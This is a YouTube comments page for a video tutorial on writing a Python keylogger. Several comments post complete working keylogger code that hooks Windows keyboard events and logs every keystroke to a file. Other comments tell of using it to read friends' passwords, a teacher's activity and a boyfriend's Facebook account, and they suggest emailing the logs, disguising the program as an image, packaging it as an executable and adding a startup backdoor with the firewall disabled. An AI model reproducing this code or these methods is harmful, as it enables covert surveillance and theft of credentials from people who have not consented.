How To Make A Simple Python Keylogger

Поделиться
HTML-код
  • Опубликовано: 4 ноя 2024

Комментарии • 2,4 тыс.

  • @pawanbhatt314
    @pawanbhatt314 5 лет назад +330

    "Hack to learn, not to hack" - Great Dude

    • @vexanval
      @vexanval 4 года назад +7

      Hacking is not programming

    • @francometallo215
      @francometallo215 4 года назад +11

      @@vexanval It is, dumbfuck

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 года назад +10

      @@vexanval you need to know programming in order to write scripts to hack , else you'll only be a script kiddid

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 года назад +3

      kiddie*

    • @westernvibes1267
      @westernvibes1267 4 года назад +2

      @@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming

  • @blindradio7634
    @blindradio7634 6 лет назад +388

    He forgot to say "For educational purposes only"

  • @shieldkeylogger4999
    @shieldkeylogger4999 9 лет назад +24

    I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.

  • @augustopaiva9154
    @augustopaiva9154 8 лет назад +290

    Would be great if you explain what each line of the code was doing, i think would be better for who are learning. Great video thnx

    • @NarcatasCor
      @NarcatasCor 8 лет назад +3

      +Ankush Thakur Can you tell me where I can find the documentation?

    • @onee
      @onee 6 лет назад +6

      Follow The White Rabbit So, what's the point of learning C if you make everything 50 times harder?

  • @aArcziMetin2
    @aArcziMetin2 10 лет назад

    Newbie people doesn't install python.

  • @aspe1213
    @aspe1213 8 лет назад +438

    no wix I don't need a fucking website now let me watch the video!

  • @chemikalfluffy
    @chemikalfluffy 8 лет назад +74

    Make an in-depth tutorial. I want to know what each line of code does specifically.

    • @mrdoge97
      @mrdoge97 6 лет назад +1

      Sulaiman Adebayo whats ur phone number or icq let me talk to u

    • @Hitman1978
      @Hitman1978 5 лет назад +5

      This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?

    • @gideon5942
      @gideon5942 5 лет назад +1

      Josh Sells Guns codecademy exists

  • @matthewvanwinkle7631
    @matthewvanwinkle7631 7 лет назад +5

    This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video!
    (Liked and subscribed)

  • @sidscott6064
    @sidscott6064 8 лет назад

    ive learned more about programming in 5 minuintes than i have in my whole 3 years of self research. your awesome

  • @renzocabarios3420
    @renzocabarios3420 9 лет назад

    One of the best tutorial it helped see more things than what i could see right now . This had given a perspective of programming

  • @chocolatebleach2496
    @chocolatebleach2496 9 лет назад +686

    Lol and all those people who paid like £100 for theirs

    • @arlenreyes4283
      @arlenreyes4283 8 лет назад +23

      +OhhKillerZxD Free keyloggers exist my friend, not all are paid.

    • @AnotherVGP
      @AnotherVGP 8 лет назад +54

      But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.

    • @arlenreyes4283
      @arlenreyes4283 8 лет назад +14

      Most of them don't bypass at all. Antivirus flag them right away soon or later.

    • @AnotherVGP
      @AnotherVGP 8 лет назад +5

      Ismael Arlen Reyes I never said most of them bypass, but the quality ones. Learn to read.

    • @arlenreyes4283
      @arlenreyes4283 8 лет назад +7

      Not even the quality ones. Paid Antivirus will likely detect them.

  • @matthewmunger4724
    @matthewmunger4724 10 лет назад +7

    You should put all the links in the description.

  • @antonio0000x
    @antonio0000x 10 лет назад +22

    Everything is correct but my log file is still blank.

    • @MrImplicitly
      @MrImplicitly 10 лет назад +7

      Same Help!!

    • @Sedgehun
      @Sedgehun 7 лет назад

      Same

    • @technicalilm8999
      @technicalilm8999 7 лет назад

      same

    • @ezekiellopez2224
      @ezekiellopez2224 7 лет назад +1

      I am looking for an answer to this... It seems like it's not logging the Ascii text, rather blank spaces

    • @John_X_GR
      @John_X_GR 6 лет назад

      Guys, i dont know how to fix this, but it seems when you run the file inside idle or pycharm, it logs correctly the characters

  • @_evillevi
    @_evillevi 5 лет назад +2

    These videos are great! I can't believe I didn't know about them five years ago!

  • @fantasdeck
    @fantasdeck 6 лет назад +1

    I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database.
    You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent "
    " from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", "
    " + (?P=delimiters), or something like that, if I recall correctly.
    Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.

  • @FabStat
    @FabStat 8 лет назад +4

    it works, but the txt only shows ASCII symbols?! how can i convert them?

  • @ManintheMakingPodcast
    @ManintheMakingPodcast 7 лет назад +9

    How would I send it through email to activate when someone opens an image?

  • @meh15kids
    @meh15kids 10 лет назад +307

    Lol put this on my teachers computer 😂

    • @robbenfan1792
      @robbenfan1792 9 лет назад +6

      haha already got something?

    • @sn-vf1fr
      @sn-vf1fr 9 лет назад +155

      So, what's your teacher's favorite porn website?

    • @mattbeef1221
      @mattbeef1221 9 лет назад +98

      watch those c's turn into 0's when they find out

    • @ervinraduly8322
      @ervinraduly8322 9 лет назад +5

      Do any of you know what code makes the bat file run the script instead of open it?

    • @leontripp3387
      @leontripp3387 9 лет назад +31

      L Da No you're not, you're full of shit. Shut up, grow up, piss off.

  • @OhWord88
    @OhWord88 7 лет назад +1

    Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble.
    So yes, GO WITH THE 2.7, 32 BIT VERSION.
    pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
    pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files
    Hope this helps.

  • @ashwinpande7095
    @ashwinpande7095 2 года назад

    I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.

  • @hristaki99
    @hristaki99 10 лет назад +7

    I've installed everything in order but I get this:
    raise ImportError("No system module '%s' (%s)" % (modname, filename))
    ImportError: No system module 'pywintypes' (pywintypes34.dll)

    • @Justin44777
      @Justin44777 7 лет назад +9

      im a bit late but ik how to fix it, you need to delete your system 32 and it will be fine.

    • @Justin44777
      @Justin44777 7 лет назад

      dude its a joke, u don't even need expirenece from computing, its just common sense so stop acting like ur a pro dev.

    • @Michael-ue2xv
      @Michael-ue2xv 7 лет назад

      I literally deleted every trace of python from my computer and started from scratch again and it still doesn't fix that error for me.

    • @PaulKnutsonSther
      @PaulKnutsonSther 7 лет назад

      You have to (or at least I had to) install pywintypes.
      Open cmd.exe and type:
      pip install pypiwin32

    • @adriannajera8013
      @adriannajera8013 7 лет назад

      just copy the path of pywintypes that is in python->Lib->site-packages->win32->lib and paste it in your system variables

  • @zackgrey4472
    @zackgrey4472 8 лет назад +9

    Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you

    • @Jifae95
      @Jifae95 8 лет назад

      It creates one for you upon receiving the first keystrokes.

    • @1iMaGiiK1
      @1iMaGiiK1 8 лет назад +5

      You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.

    • @zackgrey4472
      @zackgrey4472 8 лет назад +1

      Interesting, mind adding me on skype to send me the script?

    • @AyushMandowara_xx7
      @AyushMandowara_xx7 8 лет назад

      File is created automatically and is stored in the location specified in filename = "location"
      logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s")
      here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)

    • @zackgrey4472
      @zackgrey4472 8 лет назад +2

      Weird, I'm putting
      file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt'
      and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.

  • @mason8335
    @mason8335 5 лет назад +8

    very cool! any tutorial on how to escape from federal agents?

    • @itamar_da_god5651
      @itamar_da_god5651 4 года назад +1

      I'd watch out if I were you, lay a low profile for about 25 years so the NSA will forget about you

    • @mason8335
      @mason8335 4 года назад

      @@itamar_da_god5651 it's too late man, the feds got me, I'm in prison for life rn.

    • @itamar_da_god5651
      @itamar_da_god5651 4 года назад +1

      dang nabbit, those scoundrels! i'll show them who's boss! muhahaha - wait who's knocking on my doo - oh shit

  • @MrComicallyBad
    @MrComicallyBad 9 лет назад

    I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.

  • @Reddualshock
    @Reddualshock 8 лет назад +2

    I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?

  • @amitnayak7917
    @amitnayak7917 8 лет назад +4

    For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help

    • @SirajQazi1
      @SirajQazi1 8 лет назад +1

      same here bro! Plz help anyone as it shows random characters in log file!

    • @ditoo2002
      @ditoo2002 8 лет назад

      same thing happened to me i tried it on a game and i switched the profile and the only thing i understood was the word profile

  • @MrMegamovieman
    @MrMegamovieman 10 лет назад +5

    Maybe a stupid question. But i cant find the files where it is logged...

    • @akohagg
      @akohagg 10 лет назад

      Seriously, this is pissing me the fuck off

    • @Pod-Z
      @Pod-Z 10 лет назад +2

      it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this
      C:\Users\YOUR COMPUTERS NAME\Desktop

    • @akohagg
      @akohagg 10 лет назад

      Used a different one with devC++. Works perfectly.

  • @zekiimfx.4641
    @zekiimfx.4641 7 лет назад +5

    I have a problem with log.txt
    If i make it, doesn't work
    If i don't make it, doesn't make automatic

    • @Sedgehun
      @Sedgehun 7 лет назад

      Same!

    • @basilhaj-yehia4240
      @basilhaj-yehia4240 6 лет назад

      the only way i was able to do it is by going to my python Idle and clicking open then selecting the file and then clicking run and then "run module"

  • @dondef4140
    @dondef4140 7 лет назад

    Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids

  • @mucgake8763
    @mucgake8763 7 лет назад

    if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received
    in the logger, make a client that sends every keystroke to the server
    now you have a very nice logger!

  • @kounter8083
    @kounter8083 8 лет назад +525

    thanks found out my sisters boyfriend was cheating on her and got onto his facebook

  • @Bendrvry
    @Bendrvry 8 лет назад +15

    Put links in description man

  • @truncus5776
    @truncus5776 8 лет назад +17

    how can i install the modules????

    • @JeaneAdix
      @JeaneAdix 8 лет назад +5

      use pip. open cmd as admin. run pip install

    • @Skeke
      @Skeke 7 лет назад

      When i type pip it does not reconigze as a command. What should I do?

    • @serguZESHT
      @serguZESHT 7 лет назад +1

      install pip first

    • @maximpavlenko1664
      @maximpavlenko1664 5 лет назад +1

      @@JeaneAdix NPC meme is dead

  • @ceracera2254
    @ceracera2254 8 лет назад +1

    that's just awesome! so helpful for me that i'm just in the begining of learnining! thank you so much,people like u we need in youtube

  • @Retr-lf8hd
    @Retr-lf8hd 7 лет назад +1

    A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.

    • @bighairyfeet
      @bighairyfeet 2 года назад

      Kali has an icognito setting that makes it look like windows, or use a virtual box

  • @tmanswagg7342
    @tmanswagg7342 9 лет назад +19

    module: pyhook: sourceforge.net/projects/pyhook/files/latest/download?source=files
    import pyHook, pythoncom, sys, logging
    file_log = 'C:/keyloggeroutput.txt'
    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    print("True")
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @SonnyWest87
      @SonnyWest87 8 лет назад +1

      +Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.

    • @evanc2185
      @evanc2185 8 лет назад

      +Jacob Westerfield
      pywin32 is a Windows OS interaction module. iOS is an Apple OS, not Windows OS.
      Sorry, but no.

    • @jordanb.7012
      @jordanb.7012 8 лет назад

      +Jacob Westerfield 32 sucks bro...

    • @Griimnak
      @Griimnak 8 лет назад

      +tmanswagg could try through pip
      cd ..
      cd ..
      cd Python27/Scripts
      python pip install pyHook

    • @djl1on641
      @djl1on641 7 лет назад

      youll need to put "C://" not "C:/" otherwise python wont recognize what your trying to do

  • @ZuzuTyp
    @ZuzuTyp 10 лет назад +104

    In my opinion, this is a very bad tutorial.
    As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use.
    Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly.
    Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script.
    The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it?
    The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video.
    You should try to make it easier for the users, to understand, what you are showing in your tutorial.
    (don't tell, I should too)
    However, please don't answer on this post.

    • @ZuzuTyp
      @ZuzuTyp 10 лет назад +3

      Simon WoodburyForget
      MORE!
      xD
      I mean, really, there are lots of better ways to do this...
      But however, the graphics of this video are quite good!

    • @bazardnubis7723
      @bazardnubis7723 9 лет назад

      Zuzu Typ I agree with you

    • @HHAugummi
      @HHAugummi 9 лет назад

      *****
      of cause it is

    • @yungshiesty5875
      @yungshiesty5875 6 лет назад

      Can you help make me one please ? I want to mess with my friend

    • @ZeroOverflow
      @ZeroOverflow 6 лет назад +2

      You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events

  • @d.g.k.rrecords9287
    @d.g.k.rrecords9287 8 лет назад +21

    im executing the file and not getting a log file

    • @sohambiswas8865
      @sohambiswas8865 7 лет назад +1

      D.G.K.R Records disable ur anti virus

    • @amrojjeh
      @amrojjeh 6 лет назад +7

      +Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.

  • @shay3355
    @shay3355 5 лет назад

    bro, you did it...you earned a subscriber...

  • @SamvitAgarwal
    @SamvitAgarwal 7 лет назад

    This only records lowercase characters. Is there a way to make it detect the shift button and record uppercase and special characters?

  • @totnottac
    @totnottac 8 лет назад +3

    Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7
    chr(event.Ascii)
    ^
    SyntaxError: invalid syntax
    Does anyone know whats going on? I cant seem to find the problem.

    • @Chimperly
      @Chimperly 8 лет назад

      yeah looks like you have a syntax mistake in line 7 haha, are you sure you copied everything correctly?

    • @totnottac
      @totnottac 8 лет назад

      i think so i checked three times

    • @Yashuu96
      @Yashuu96 8 лет назад +2

      You may not have closed the parenthesis in the previous line.
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')

    • @totnottac
      @totnottac 8 лет назад

      thanks i'll look into that when I'm back at pc

  • @Draganko123
    @Draganko123 10 лет назад +19

    Nice! I'll add my EVIILL PLANS TO THIS! MUAHAHAHAHHAHAHAHAHAHAHHA!

    • @ScareyoHexir
      @ScareyoHexir 9 лет назад

      Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD

    • @Draganko123
      @Draganko123 9 лет назад

      Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!

    • @ScareyoHexir
      @ScareyoHexir 9 лет назад

      Draganko123 ima wait until norton expires and use windows 8 defender it has been so much improved sience last windows defender

    • @jay-hb7el
      @jay-hb7el 6 лет назад

      Do you need to shut up? No? You should. smh.

  • @idomaman4758
    @idomaman4758 8 лет назад +4

    can i send it to somone? if yes how?

  • @kulgan96
    @kulgan96 8 лет назад

    some times i miss your older videos you seem a lot calmer

  • @Anon-tj7qb
    @Anon-tj7qb 9 лет назад +1

    The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)

  • @TheDamdamas123
    @TheDamdamas123 9 лет назад +4

    I got pyhook and pywin32 but they aren't installation files what do I do?

    • @adetutuogunsowo7939
      @adetutuogunsowo7939 9 лет назад

      ***** stackoverflow.com/questions/21222114/how-do-i-install-python-libraries?answertab=votes#tab-top

    • @TheDamdamas123
      @TheDamdamas123 9 лет назад +1

      Thanks :)

    • @HHAugummi
      @HHAugummi 9 лет назад

      ***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...

    • @TheUniksniper
      @TheUniksniper 7 лет назад

      thanks!

  • @gabrieldlucacn
    @gabrieldlucacn 8 лет назад +29

    Do I need the modules installed on the target computer (the computer that I want to inject the code)

    • @ethanwickline5162
      @ethanwickline5162 8 лет назад +4

      ^^^ yeah... how is that supposed to work?

    • @sfm4life613
      @sfm4life613 8 лет назад +1

      yes

    • @felixh7699
      @felixh7699 8 лет назад

      Where do I have to save the Modules in order to make the programm working? I saved them in my Downloads folder and it didn't work.

    • @sfm4life613
      @sfm4life613 8 лет назад

      i would imagine that you would need python and the modules which you should be able o just install per usual

    • @DjLukeoum
      @DjLukeoum 8 лет назад +8

      look at py2exe

  • @awesomeamazing5752
    @awesomeamazing5752 9 лет назад +22

    Just managed to make it send me a email with the keylogs when the pc shuts down. Python is awesome. I can now find out any of my friends passwords.

  • @user-by8zk8oz9u
    @user-by8zk8oz9u 6 лет назад

    Thanks! Clear and simple as it commonly necessary

  • @emilyarikapu8613
    @emilyarikapu8613 3 года назад

    I just tried it. It really works!!!

  • @HHAugummi
    @HHAugummi 9 лет назад +6

    *HOW TO GET pyHOOK*
    some people may have the problem on not knowing how to get pyHOOK,
    so here is the solution:
    grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is).
    Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.

    • @brutus-inter-pares
      @brutus-inter-pares 9 лет назад +1

      haugummi LP C\...\>pip install pyhook
      Collecting pyhook
      Could not find a version that satisfies the requirement pyhook (from versions
      )
      Some externally hosted files were ignored as access to them may be unreliable
      (use --allow-external pyhook to allow).
      No matching distribution found for pyhook
      i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???

    • @HHAugummi
      @HHAugummi 9 лет назад

      Whitehead
      i got 3.3 and it works for me...
      i dunno what to do though :D

    • @maryvest540
      @maryvest540 9 лет назад +1

      How I can install pywin32
      This video is very hard to understand

    • @maryvest540
      @maryvest540 9 лет назад +2

      It doesn't work
      Did I just download the virus
      I mean that can be your key logger
      I deleted faster

    • @Malonomy
      @Malonomy 9 лет назад

      +Haugummi I could get pyHook, but not pyWin, any idea on how to install it please ?

  • @modestmanchild9200
    @modestmanchild9200 8 лет назад +4

    I am very late here.
    However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5.
    However whenever I click the program once saved it says the following: ( screenshot )
    gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef

    • @modestmanchild9200
      @modestmanchild9200 8 лет назад

      Pls help

    • @joshmurphy3887
      @joshmurphy3887 8 лет назад

      TrueChaos whats the link to module download

    • @mitchell2719
      @mitchell2719 8 лет назад +1

      Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.

    • @modestmanchild9200
      @modestmanchild9200 8 лет назад +1

      Fixed already but thanks

    • @savannah2323
      @savannah2323 8 лет назад +1

      How did you fix it? I have run into the same issue.

  • @plutaoopequenoplaneta1428
    @plutaoopequenoplaneta1428 6 лет назад +11

    thank you for explaining everything so well
    I understood everything that was done haha
    haha
    ha
    dude plz explain stuff more clearly

  • @finallyfree6725
    @finallyfree6725 6 лет назад

    Should I learn python or c++?

  • @insidetrip101
    @insidetrip101 7 лет назад

    but since you programmed it from python, you need to have python on whatever machine you're trying to run it on correct?

  • @ImTheBatchMan
    @ImTheBatchMan 10 лет назад +6

    Why is this music on every single one of your videos? I feel like someone is taking a shit on my soul when I hear it.

  • @opskins8034
    @opskins8034 8 лет назад +4

    Is there any way I can make it a link so I can send it to my friend so when he types stuff in it emails it to me or send it to me?

    • @parthmadan5485
      @parthmadan5485 4 года назад

      Sure.
      Check out GitHub for such keyloggers

  • @GuerreroMisterioso95
    @GuerreroMisterioso95 10 лет назад +8

    That code is outdated and too fancy. This is an easier, cleaner and updated code:
    import pythoncom, pyHook
    def OnKeyboardEvent(event):
    global keylog
    keylog = chr(event.Ascii)
    with open('DATA.txt', 'a') as f:
    f.write(keylog)
    f.close()
    return True
    if __name__=='__main__':
    hook_manager = pyHook.HookManager()
    hook_manager.KeyDown = OnKeyboardEvent
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 лет назад

      I'm working on that. But I'm pretty sure that you will need the smtp module, already included in Python.

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 лет назад

      Does your target machine has Python and the Pyhook/Win32 modules installed?

    • @johnmandark6391
      @johnmandark6391 10 лет назад

      where you need to put your text file path in that code??

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 лет назад

      It's not needed because the file with the keystrokes log will be created in the same path where you have the script.

    • @ernstwigmann829
      @ernstwigmann829 10 лет назад

      then add them, email modules to make it fun Lulz :)

  • @vardikar270
    @vardikar270 8 лет назад

    hope you're still making videos your videos make a lot of sense to me thank you!

  • @notyourbusiness5530
    @notyourbusiness5530 7 лет назад

    What module would you use if you were using Linux instead Windows?

  • @psynomad4108
    @psynomad4108 10 лет назад +4

    My zemana anti logger program works lol it puts random shit in the file :)

  • @thatwaff1e606
    @thatwaff1e606 9 лет назад +6

    How do you test it

    • @hexrex1108
      @hexrex1108 9 лет назад +1

      +That Waff1e import pyHook, pythoncom, sys, logging
      file_log = 'C:/log.txt'
      def OnKeyboardEvent(event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True
      hooks_manager = pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

  • @DecidelyUnethical
    @DecidelyUnethical 10 лет назад +4

    Help, someone.
    import pyHook, pythoncom, sys, logging
    file_log = 'C:\\Users\\User\\Documents\\log.txt'
    def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
    The error is: Invalid character in identifier. Idk what i've done wrong!

    • @Super123456789nick
      @Super123456789nick 6 лет назад +1

      Error2147483647 try to import like this
      import pyHook
      import pythoncom
      ... Same as all

  • @spacewizard1616
    @spacewizard1616 7 лет назад

    I'm running python on Mac, after I coded the key logger, how do I run it? Where do I access the information it is gathering? Thank you

  • @anticeoceo2762
    @anticeoceo2762 5 лет назад

    Dam this guy just made everything make sense for once Thanks !!!!..... SUBSCRIBED

  • @SergeantVin
    @SergeantVin 8 лет назад +5

    Where is the data outputted?

    • @Gaviathan
      @Gaviathan 8 лет назад +1

      +Sergeant Vin Anywhere you want it to, the line that says
      file_log = "C:\\AnywhereYouWantItTo\\YourData.txt"

    • @SexualPotatoes
      @SexualPotatoes 8 лет назад

      It's logged in the txt file

    • @renaissauceman
      @renaissauceman 8 лет назад

      Name checks out.

    • @landro3552
      @landro3552 6 лет назад

      it won't be outputted for me

  • @nitihngupta
    @nitihngupta 10 лет назад +5

    unable to find log.txt file

  • @viashadow1515
    @viashadow1515 8 лет назад +84

    I just learned how to hack in 5 minutes

    • @Calypp0
      @Calypp0 8 лет назад +129

      no you didn't

    • @FreeAmericaFromAIPAC
      @FreeAmericaFromAIPAC 8 лет назад +45

      u learned a* hack , not how to hack .... big difference buddy

    • @SexySnorlax
      @SexySnorlax 8 лет назад +26

      no this isnt hacking you use a code written by someone else to hack peeps
      learn to program

    • @viashadow1515
      @viashadow1515 8 лет назад +28

      hey guys I was joking lmao. I know hes not teaching people to hack. guess I need to work on my sarcasm?

    • @Calypp0
      @Calypp0 8 лет назад +4

      Kinda xD

  • @tarunbirgambhir3627
    @tarunbirgambhir3627 6 лет назад

    this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?

  • @justaskyourmother
    @justaskyourmother 9 лет назад

    I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?

  • @CapitalCircleNW
    @CapitalCircleNW 9 лет назад

    Question: When you are trying to change the internet explorer shortcut to run the batch file, what is the code that you use? I cannot see it.

  • @lwolfer5170
    @lwolfer5170 6 лет назад

    Thanks! I'm just starting to learn python and this helped me alot. To be honest I didn't even know you could script in the python IDE.

  • @robertzingarelli9638
    @robertzingarelli9638 10 лет назад +1

    Ok, I did this, got it running and stuff. I wrote a .bat file and just double click it to run the program manually. I basically just want it running while I'm away from my computer, and then I will just kill it when I return (or whenever I feel like it). Anyways, big question here:
    It logs input, keys pressed, for apps like notepad, or MS Word, or whatever.....but open up a browser like Firefox and IE, and the characters that are written to the log file are all mangled and unreadable. This is a pretty big drawback, since really I want to see what's logged while a user browses the internet (keys pressed). I am guessing because browsers have encoded/encrypted data. Is there anyway around this? Maybe I should rephrase that, since there probably IS a way, is there any relatively simple way around this?

  • @AnnunakisReturn
    @AnnunakisReturn 8 лет назад

    hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please

  • @SjiekkeHenk
    @SjiekkeHenk 8 лет назад

    So I've tested to see if it works and it does.
    The problem I'm having is that when I click to execute it, it pops up in task manager (like it's supposed to) but after about a second, it closes automatically.
    I've checked the code thoroughly to see if I didn't misspell something or forget any pieces of code and it is all there.
    So basically it should be working fine, can someone help me with this?
    Thank you for your time.

  • @ccolbert323
    @ccolbert323 8 лет назад

    All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks

  • @kewaltakhellambam7710
    @kewaltakhellambam7710 5 лет назад

    "hack to learn Dont learn to hack"👍nice video

  • @Supermandtm
    @Supermandtm 9 лет назад

    How do you test to see if the key logger in the video works on your computer? Appreciate any help, thanks!

  • @noahnolte7288
    @noahnolte7288 4 года назад

    It took me about 7 seconds in to press like. Good stuff!

  • @andreleandro754
    @andreleandro754 8 лет назад

    Does it work in Python 3.4 version? I've checked the syntax and I've installed the modules, it doesn't return any message error but also it doesn't work. It isn't creating a log file, and if I create it manually for debugging purposes, still it doesn't work.

  • @gman52712
    @gman52712 7 лет назад

    'After youve tested it to make sure it works' How do you test it?
    Ive written all the code in the idle and saved as a pyw. Now I want to test this keylogger in my virtual machine. What are the next steps? Im just confused. Thanks in advance for any help.

  • @linkisbeast117
    @linkisbeast117 10 лет назад

    What should I start with C++ or Python?

  • @TwoFootTerrorj4ckf
    @TwoFootTerrorj4ckf 9 лет назад

    does this work for mac aswell without the windows module obviously?

  • @brainoil6442
    @brainoil6442 7 лет назад

    can you use notepad++? because i heard that it supports many of the modern languages

  • @IQ88612
    @IQ88612 5 лет назад

    hi what is the best book that you think can turn a beginner into a python hero???)))

